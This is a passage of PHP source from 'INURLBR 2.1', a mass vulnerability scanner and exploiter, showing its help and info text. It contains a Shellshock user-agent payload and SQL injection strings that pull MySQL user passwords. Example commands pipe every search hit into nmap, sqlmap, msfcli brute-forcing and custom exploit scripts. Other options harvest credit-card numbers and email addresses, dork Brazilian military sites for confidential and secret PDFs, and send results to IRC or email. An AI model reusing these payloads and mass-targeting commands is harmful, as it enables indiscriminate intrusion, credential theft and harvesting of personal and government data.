{$_SESSION["c1"]}-d {$_SESSION["c2"]}4 {$_SESSION["c0"]}/Shows the HTML of every URL. - {$_SESSION["c1"]}-d {$_SESSION["c2"]}5 {$_SESSION["c0"]}/Detailed request of all URLs. - {$_SESSION["c1"]}-d {$_SESSION["c2"]}6 {$_SESSION["c0"]}/Detailed PING - PONG irc. - - {$_SESSION["c1"]}-s{$_SESSION["c0"]} Specify the output file where it will be saved the vulnerable URLs. - - Example: {$_SESSION["c1"]}-s {$_SESSION["c2"]}{file}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}-s {$_SESSION["c2"]}your_file.txt - - {$_SESSION["c1"]}-o{$_SESSION["c0"]} Manually manage the vulnerable URLs you want to use from a file, without using a search engine. - Example: {$_SESSION["c1"]}-o {$_SESSION["c2"]}{file_where_my_urls_are}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}-o {$_SESSION["c2"]}tests.txt - - {$_SESSION["c1"]}--persist{$_SESSION["c0"]} Attempts when Google blocks your search. - The script tries to another google host / default = 4 - Example: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}{number_attempts}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--persist {$_SESSION["c2"]}7 - - {$_SESSION["c1"]}--ifredirect{$_SESSION["c0"]} Return validation method post REDIRECT_URL - Example: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}{string_validation}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--ifredirect {$_SESSION["c2"]}'/admin/painel.php' - - {$_SESSION["c1"]}-m{$_SESSION["c0"]} Enable the search for emails on the urls specified. - - {$_SESSION["c1"]}-u{$_SESSION["c0"]} Enables the search for URL lists on the url specified. - - {$_SESSION["c1"]}--gc{$_SESSION["c0"]} Enable validation of values ​​with google webcache. - - {$_SESSION["c1"]}--pr{$_SESSION["c0"]} Progressive scan, used to set operators (dorks), - makes the search of a dork and valid results, then goes a dork at a time. - - {$_SESSION["c1"]}--file-cookie{$_SESSION["c0"]} Open cookie file. - - {$_SESSION["c1"]}--save-as{$_SESSION["c0"]} Save results in a certain place. - - {$_SESSION["c1"]}--shellshock{$_SESSION["c0"]} Explore shellshock vulnerability by setting a malicious user-agent. - - {$_SESSION["c1"]}--popup{$_SESSION["c0"]} Run --command all or vuln in a parallel terminal. - - {$_SESSION["c1"]}--cms-check{$_SESSION["c0"]} Enable simple check if the url / target is using CMS. - - {$_SESSION["c1"]}--no-banner{$_SESSION["c0"]} Remove the script presentation banner. - - {$_SESSION["c1"]}--unique{$_SESSION["c0"]} Filter results in unique domains. - - {$_SESSION["c1"]}--beep{$_SESSION["c0"]} Beep sound when a vulnerability is found. - - {$_SESSION["c1"]}--alexa-rank{$_SESSION["c0"]} Show alexa positioning in the results. - - {$_SESSION["c1"]}--robots{$_SESSION["c0"]} Show values file robots. - - {$_SESSION["c1"]}--range{$_SESSION["c0"]} Set range IP. - Example: {$_SESSION["c1"]}--range {$_SESSION["c2"]}{range_start,rage_end}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--range {$_SESSION["c2"]}'172.16.0.5#172.16.0.255' - - {$_SESSION["c1"]}--range-rand{$_SESSION["c0"]} Set amount of random ips. - Example: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}{rand}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--range-rand {$_SESSION["c2"]}'50' - - {$_SESSION["c1"]}--irc{$_SESSION["c0"]} Sending vulnerable to IRC / server channel. - Example: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}{server#channel}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil' - - {$_SESSION["c1"]}--http-header{$_SESSION["c0"]} Set HTTP header. - Example: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--http-header {$_SESSION["c2"]}'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm=\"Top Secret\"' - - {$_SESSION["c1"]}--sedmail{$_SESSION["c0"]} Sending vulnerable to email. - Example: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}{youemail}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--sedmail {$_SESSION["c2"]}youemail@inurl.com.br - - {$_SESSION["c1"]}--delay{$_SESSION["c0"]} Delay between research processes. - Example: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}{second}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--delay {$_SESSION["c2"]}10 - - {$_SESSION["c1"]}--time-out{$_SESSION["c0"]} Timeout to exit the process. - Example: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}{second}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--time-out {$_SESSION["c2"]}10 - - {$_SESSION["c1"]}--ifurl{$_SESSION["c0"]} Filter URLs based on their argument. - Example: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}{ifurl}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--ifurl {$_SESSION["c2"]}index.php?id= - - {$_SESSION["c1"]}--ifcode{$_SESSION["c0"]} Valid results based on your return http code. - Example: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}{ifcode}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--ifcode {$_SESSION["c2"]}200 - - {$_SESSION["c1"]}--ifemail{$_SESSION["c0"]} Filter E-mails based on their argument. - Example: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}{file_where_my_emails_are}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--ifemail {$_SESSION["c2"]}sp.gov.br - - {$_SESSION["c1"]}--url-reference{$_SESSION["c0"]} Define referring URL in the request to send him against the target. - Example: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}{url}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--url-reference {$_SESSION["c2"]}http://target.com/admin/user/valid.php - - {$_SESSION["c1"]}--mp{$_SESSION["c0"]} Limits the number of pages in the search engines. - Example: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}{limit}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--mp {$_SESSION["c2"]}50 - - {$_SESSION["c1"]}--user-agent{$_SESSION["c0"]} Define the user agent used in its request against the target. - Example: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}{agent}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11' - Usage-exploit / SHELLSHOCK: - {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]}'() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"' - Complete command: - php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555' - - {$_SESSION["c1"]}--sall{$_SESSION["c0"]} Saves all urls found by the scanner. - Example: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}{file}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--sall {$_SESSION["c2"]}your_file.txt - - {$_SESSION["c1"]}--command-vul{$_SESSION["c0"]} Every vulnerable URL found will execute this command parameters. - Example: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} - {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} - {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--command-all{$_SESSION["c0"]} Use this commmand to specify a single command to EVERY URL found. - Example: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} - {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} - {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} - [!] Observation: - - {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} will be replaced by the URL/target found, although if the user - doesn't input the get, only the domain will be executed. - - {$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c0"]} will be replaced by the original URL / target found. - - {$_SESSION["c14"]}_TARGETXPL_{$_SESSION["c0"]} will be replaced by the original URL / target found + EXPLOIT --exploit-get. - - {$_SESSION["c9"]}_TARGETIP_{$_SESSION["c0"]} return of ip URL / target found. - - {$_SESSION["c8"]}_URI_{$_SESSION["c0"]} Back URL set of folders / target found. - - {$_SESSION["c15"]}_RANDOM_{$_SESSION["c0"]} Random strings. - - {$_SESSION["c9"]}_PORT_{$_SESSION["c0"]} Capture port of the current test, within the --port-scan process. - - {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} will be replaced by the specified command argument {$_SESSION["c1"]}--exploit-command{$_SESSION["c0"]}. - The exploit-command will be identified by the parameters {$_SESSION["c1"]}--command-vul/{$_SESSION["c0"]} {$_SESSION["c1"]}--command-all as {$_SESSION["c6"]}_EXPLOIT_{$_SESSION["c0"]} - - {$_SESSION["c1"]}--replace{$_SESSION["c0"]} Replace values ​​in the target URL. - Example: {$_SESSION["c1"]}--replace {$_SESSION["c2"]}{value_old[INURL]value_new}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]} - {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'{$_SESSION["c0"]} - {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.aspx?id=[INURL]index.aspx?id=1%27´'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--remove{$_SESSION["c0"]} Remove values ​​in the target URL. - Example: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}{string}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}'/admin.php?id=0' - - {$_SESSION["c1"]}--regexp{$_SESSION["c0"]} Using regular expression to validate his research, the value of the - Expression will be sought within the target/URL. - Example: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]} - All Major Credit Cards: - Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'{$_SESSION["c0"]} - - IP Addresses: - Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'{$_SESSION["c0"]} - - EMAIL: - Usage: {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} - - - {$_SESSION["c1"]}---regexp-filter{$_SESSION["c0"]} Using regular expression to filter his research, the value of the - Expression will be sought within the target/URL. - Example: {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]} - EMAIL: - Usage: {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} - - - [!] Small commands manager: - - {$_SESSION["c1"]}--exploit-cad{$_SESSION["c0"]} Command register for use within the scanner. - Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND} - Example Format: NMAP::nmap -sV _TARGET_ - Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt - Usage: {$_SESSION["c1"]}--exploit-cad{$_SESSION["c2"]} 'NMAP::nmap -sV _TARGET_'{$_SESSION["c0"]} - Observation: Each registered command is identified by an id of your array. - Commands are logged in exploits.conf file. - - {$_SESSION["c1"]}--exploit-all-id{$_SESSION["c0"]} Execute commands, exploits based on id of use, - (all) is run for each target found by the engine. - Example: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}1,2,8,22 - - {$_SESSION["c1"]}--exploit-vul-id{$_SESSION["c0"]} Execute commands, exploits based on id of use, - (vull) run command only if the target was considered vulnerable. - Example: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}1,2,8,22 - - {$_SESSION["c1"]}--exploit-list{$_SESSION["c0"]} List all entries command in exploits.conf file. - - - [!] Running subprocesses: - - {$_SESSION["c1"]}--sub-file{$_SESSION["c0"]} Subprocess performs an injection - strings in URLs found by the engine, via GET or POST. - Example: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}{youfile}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}exploits_get.txt - - {$_SESSION["c1"]}--sub-get{$_SESSION["c0"]} defines whether the strings coming from - --sub-file will be injected via GET. - Usage: {$_SESSION["c1"]}--sub-get - - {$_SESSION["c1"]}--sub-post{$_SESSION["c0"]} defines whether the strings coming from - --sub-file will be injected via POST. - Usage: {$_SESSION["c1"]}--sub-get - - {$_SESSION["c1"]}--sub-concat{$_SESSION["c0"]} Sets string to be concatenated with - the target host within the subprocess - Example: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}{string}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}'/login.php'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--sub-cmd-vul{$_SESSION["c0"]} Each vulnerable URL found within the sub-process - will execute the parameters of this command. - Example: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} - {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} - {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--sub-cmd-all{$_SESSION["c0"]} Run command to each target found within the sub-process scope. - Example: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]} - {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]} - {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]} - - - {$_SESSION["c1"]}--port-scan{$_SESSION["c0"]} Defines ports that will be validated as open. - Example: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}{ports}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}'22,21,23,3306'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--port-cmd{$_SESSION["c0"]} Define command that runs when finding an open door. - Example: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}{command}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_:_PORT_'{$_SESSION["c0"]} - {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_/file.php?sqli=1'{$_SESSION["c0"]} - - {$_SESSION["c1"]}--port-write{$_SESSION["c0"]} Send values for door. - Example: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}{'value0','value1','value3'}{$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}\"'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'\"{$_SESSION["c0"]} - - - - [!] Modifying values used within script parameters: - - {$_SESSION["c1"]}md5{$_SESSION["c0"]} Encrypt values in md5. - Example: {$_SESSION["c1"]}md5({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}md5({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-get 'user?id=md5({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} - - {$_SESSION["c1"]}base64{$_SESSION["c0"]} Encrypt values in base64. - Example: {$_SESSION["c1"]}base64({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}base64({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-get 'user?id=base64({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} - - {$_SESSION["c1"]}hex{$_SESSION["c0"]} Encrypt values in hex. - Example: {$_SESSION["c1"]}hex({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}hex({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-get 'user?id=hex({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]} - - {$_SESSION["c1"]}hex{$_SESSION["c0"]} Generate random values. - Example: {$_SESSION["c1"]}random({$_SESSION["c2"]}{character_counter}{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}random({$_SESSION["c2"]}8{$_SESSION["c1"]}){$_SESSION["c0"]} - Usage: {$_SESSION["c1"]}--exploit-get 'user?id=random({$_SESSION["c2"]}8{$_SESSION["c1"]})'{$_SESSION["c0"]} - -"); -} - -function __info() { - - return __getOut(" - {$_SESSION["c1"]}_____ _ _ ______ ____ -|_ _| \ | | ____/ __ \ - | | | \| | |__ | | | | - | | | . ` | __|| | | | - _| |_| |\ | | | |__| | -|_____|_| \_|_| \____/ - -{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current PHP version=>{$_SESSION["c1"]}[ " . phpversion() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current script owner=>{$_SESSION["c1"]}[ " . get_current_user() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current uname=>{$_SESSION["c1"]}[ " . php_uname() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current pwd=>{$_SESSION["c1"]}[ " . getcwd() . "{$_SESSION["c0"]} ] -{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} - - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GRUPO INURL BRASIL - PESQUISA AVANÇADA. - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}SCRIPT NAME: INURLBR 2.1 - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}AUTOR: Cleiton Pinheiro - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Nick: Googleinurl - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Email: inurlbr@gmail.com - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Blog: http://blog.inurl.com.br - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Twitter: https://twitter.com/googleinurl - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Facebook: https://fb.com/InurlBrasil - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GIT: https://github.com/googleinurl - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Pastebin https://pastebin.com/u/Googleinurl - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PSS: https://packetstormsecurity.com/user/googleinurl - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}YOUTUBE: http://youtube.com/c/INURLBrasil - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PLUS: http://google.com/+INURLBrasil - {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Version: 2.1 - -{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} - - {$_SESSION["c1"]}[+]{$_SESSION["c16"]}NECESSARY FOR THE PROPER FUNCTIONING OF THE SCRIPT{$_SESSION["c0"]} - - {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} LIB & CONFIG{$_SESSION["c0"]} - - * PHP Version 5.4.7 - * php5-curl LIB - * php5-cli LIB - * cURL support enabled - * cURL Information 7.24.0 - * allow_url_fopen On - * permission Reading & Writing - * User root privilege, or is in the sudoers group - * Operating system LINUX - * Proxy random TOR - -{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} - - {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}PERMISSION EXECUTION: chmod +x inurlbr.php{$_SESSION["c0"]} - {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CURL: sudo apt-get install php5-curl{$_SESSION["c0"]} - {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CLI: sudo apt-get install php5-cli{$_SESSION["c0"]} - {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl033[0m - {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING PROXY TOR https://www.torproject.org/docs/debian.html.en{$_SESSION["c0"]} - -{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} - - {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} COMMANDS SIMPLE SCRIPT{$_SESSION["c0"]} - - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:aspx?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'index of wp-content/uploads' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6,2,4 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'Index of /wp-content/uploads'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(confidencial) ext:pdf' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 -t 2 --exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'confidencial'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(secreto) ext:pdf' {$_SESSION["c1"]}-s save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'secreto'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\"{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'.new.php?new id' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6,7,2,3 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'::EXPLOIT-SUCESS::'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'new.php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}teste.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:pt inurl:aspx (id|q)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}bruteforce.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'msfcli auxiliary/scanner/mssql/mssql_login RHOST={$_SESSION["c9"]}_TARGETIP_ {$_SESSION["c2"]}MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:id & inurl:php' {$_SESSION["c1"]}-s {$_SESSION["c2"]}get.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'python ../sqlmap/sqlmap.py -u \"{$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c2"]}\" --dbs'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:index.php?id=' {$_SESSION["c1"]}-q 1,2,10 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"'?´0x27'\" {$_SESSION["c1"]}-s {$_SESSION["c2"]}report.txt {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap -Pn -p 1-8080 --script http-enum --open {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email' {$_SESSION["c1"]}-s {$_SESSION["c2"]}reg.txt -q 1 --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}emails.txt {$_SESSION["c1"]}-m{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}urls.txt {$_SESSION["c1"]}-u{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:gov.bo' {$_SESSION["c1"]}-s 